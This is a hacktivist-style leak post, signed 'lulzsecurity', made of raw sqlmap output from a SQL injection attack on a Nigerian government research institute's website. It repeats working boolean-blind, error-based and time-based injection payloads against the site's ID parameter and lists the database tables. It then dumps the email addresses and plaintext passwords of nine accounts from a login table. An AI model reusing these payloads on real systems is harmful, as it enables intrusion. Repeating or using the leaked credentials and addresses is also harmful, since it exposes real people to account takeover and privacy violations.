Untitled

citizens of the interwebz we set sail for fail again
we are lulzsecurity
we just here to drop the juicy dumps

shoutz to
Sensei,Lulz Tigre , Shifu, blk ph0x,An0nZOr Uber_r00t,kod3r,molon,yuri,sing sang song
.
base : www.lulzsec.nl
chat : irc.lulzsec.nl:6667
fb : www.facebook.com/lulzsecurity2017.
twitter ; @LulzsecRB


---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: ID=89 RLIKE (SELECT (CASE WHEN (4641=4641) THEN 89 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ID=89 OR (SELECT 8507 FROM(SELECT COUNT(*),CONCAT(0x71766a7071,(SELECT (ELT(8507=8507,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: ID=89 OR SLEEP(5)
---
[01:12:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.5.38
back-end DBMS: MySQL >= 5.0
[01:12:39] [INFO] fetching tables for database: 'nbrrigov_123'
[01:12:39] [INFO] the SQL query used returns 32 entries
Database: nbrrigov_123
[32 tables]
+---------------+
| parameter     |
| annce         |
| announcementt |
| anny          |
| article       |
| category      |
| comments      |
| country       |
| doctype       |
| document      |
| enquiry       |
| events        |
| eventtype     |
| gallery       |
| gendata       |
| ggcat         |
| hardtechn     |
| lga           |
| link          |
| login         |
| login_copy    |
| mail          |
| menu          |
| menugroup     |
| nbrrireports  |
| news          |
| page          |
| page_copy     |
| role          |
| states        |
| userdata      |
| userlogin     |
+---------------+

[01:12:39] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nbrri.gov.ng'

---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: ID=89 RLIKE (SELECT (CASE WHEN (4641=4641) THEN 89 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ID=89 OR (SELECT 8507 FROM(SELECT COUNT(*),CONCAT(0x71766a7071,(SELECT (ELT(8507=8507,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: ID=89 OR SLEEP(5)
---
[01:13:03] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.5.38
back-end DBMS: MySQL >= 5.0
[01:13:03] [INFO] fetching columns for table 'login_copy' in database 'nbrrigov_123'
[01:13:03] [INFO] the SQL query used returns 7 entries
[01:13:03] [INFO] resumed: ID
[01:13:03] [INFO] resumed: int(18)
[01:13:03] [INFO] resumed: username
[01:13:03] [INFO] resumed: varchar(25)
[01:13:03] [INFO] resumed: password
[01:13:03] [INFO] resumed: varchar(100)
[01:13:03] [INFO] resumed: name
[01:13:03] [INFO] resumed: varchar(35)
[01:13:03] [INFO] resumed: email
[01:13:03] [INFO] resumed: varchar(60)
[01:13:03] [INFO] resumed: level
[01:13:03] [INFO] resumed: varchar(25)
[01:13:03] [INFO] resumed: chk
[01:13:03] [INFO] resumed: varchar(60)
Database: nbrrigov_123
Table: login_copy
[7 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| level    | varchar(25)  |
| chk      | varchar(60)  |
| email    | varchar(60)  |
| ID       | int(18)      |
| name     | varchar(35)  |
| password | varchar(100) |
| username | varchar(25)  |
+----------+--------------+

[01:13:03] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nbrri.gov.ng'

---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: ID=89 RLIKE (SELECT (CASE WHEN (4641=4641) THEN 89 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ID=89 OR (SELECT 8507 FROM(SELECT COUNT(*),CONCAT(0x71766a7071,(SELECT (ELT(8507=8507,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: ID=89 OR SLEEP(5)
---
[01:13:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.5.38
back-end DBMS: MySQL >= 5.0
[01:13:36] [INFO] fetching entries of column(s) 'email' for table 'login_copy' in database 'nbrrigov_123'
[01:13:36] [INFO] heuristics detected web page charset 'ascii'
[01:13:37] [INFO] the SQL query used returns 9 entries
[01:13:37] [INFO] retrieved: akabsuc@gmail.com
[01:13:37] [INFO] retrieved: alf@afafag.com
[01:13:37] [INFO] retrieved: clementyari@yahoo.com
[01:13:37] [INFO] retrieved: e_josseph@yahoo.com
[01:13:37] [INFO] retrieved: hrowlands@sec.gov.ng
[01:13:37] [INFO] retrieved: ojo@nsiwc.gov.ng
[01:13:37] [INFO] retrieved: ope@ope.com
[01:13:38] [INFO] retrieved: ponwualu@yahoo.com
[01:13:38] [INFO] retrieved: webprince64@yahoo.com
[01:13:38] [INFO] analyzing table dump for possible password hashes
Database: nbrrigov_123
Table: login_copy
[9 entries]
+-----------------------+
| email                 |
+-----------------------+
| akabsuc@gmail.com     |
| alf@afafag.com        |
| clementyari@yahoo.com |
| e_josseph@yahoo.com   |
| hrowlands@sec.gov.ng  |
| ojo@nsiwc.gov.ng      |
| ope@ope.com           |
| ponwualu@yahoo.com    |
| webprince64@yahoo.com |
+-----------------------+

[01:13:38] [INFO] table 'nbrrigov_123.login_copy' dumped to CSV file '/root/.sqlmap/output/www.nbrri.gov.ng/dump/nbrrigov_123/login_copy.csv'
[01:13:38] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nbrri.gov.ng'

[*] shutting down at 01:13:38


---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: ID=89 RLIKE (SELECT (CASE WHEN (4641=4641) THEN 89 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ID=89 OR (SELECT 8507 FROM(SELECT COUNT(*),CONCAT(0x71766a7071,(SELECT (ELT(8507=8507,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: ID=89 OR SLEEP(5)
---
[01:14:06] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.5.38
back-end DBMS: MySQL >= 5.0
[01:14:06] [INFO] fetching entries of column(s) 'password' for table 'login_copy' in database 'nbrrigov_123'
[01:14:06] [INFO] heuristics detected web page charset 'ascii'
[01:14:06] [INFO] the SQL query used returns 9 entries
[01:14:06] [INFO] retrieved: abuja123
[01:14:06] [INFO] retrieved: ahmed1
[01:14:06] [INFO] retrieved: alfred
[01:14:06] [INFO] retrieved: dayo
[01:14:06] [INFO] retrieved: jabi232#
[01:14:07] [INFO] retrieved: opey
[01:14:07] [INFO] retrieved: password
[01:14:07] [INFO] retrieved: password
[01:14:07] [INFO] retrieved: peteronwualu.net
[01:14:07] [INFO] analyzing table dump for possible password hashes
Database: nbrrigov_123
Table: login_copy
[9 entries]
+------------------+
| password         |
+------------------+
| abuja123         |
| ahmed1           |
| alfred           |
| dayo             |
| jabi232#         |
| opey             |
| password         |
| password         |
| peteronwualu.net |
+------------------+

[01:14:07] [INFO] table 'nbrrigov_123.login_copy' dumped to CSV file '/root/.sqlmap/output/www.nbrri.gov.ng/dump/nbrrigov_123/login_copy.csv'
[01:14:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nbrri.gov.ng'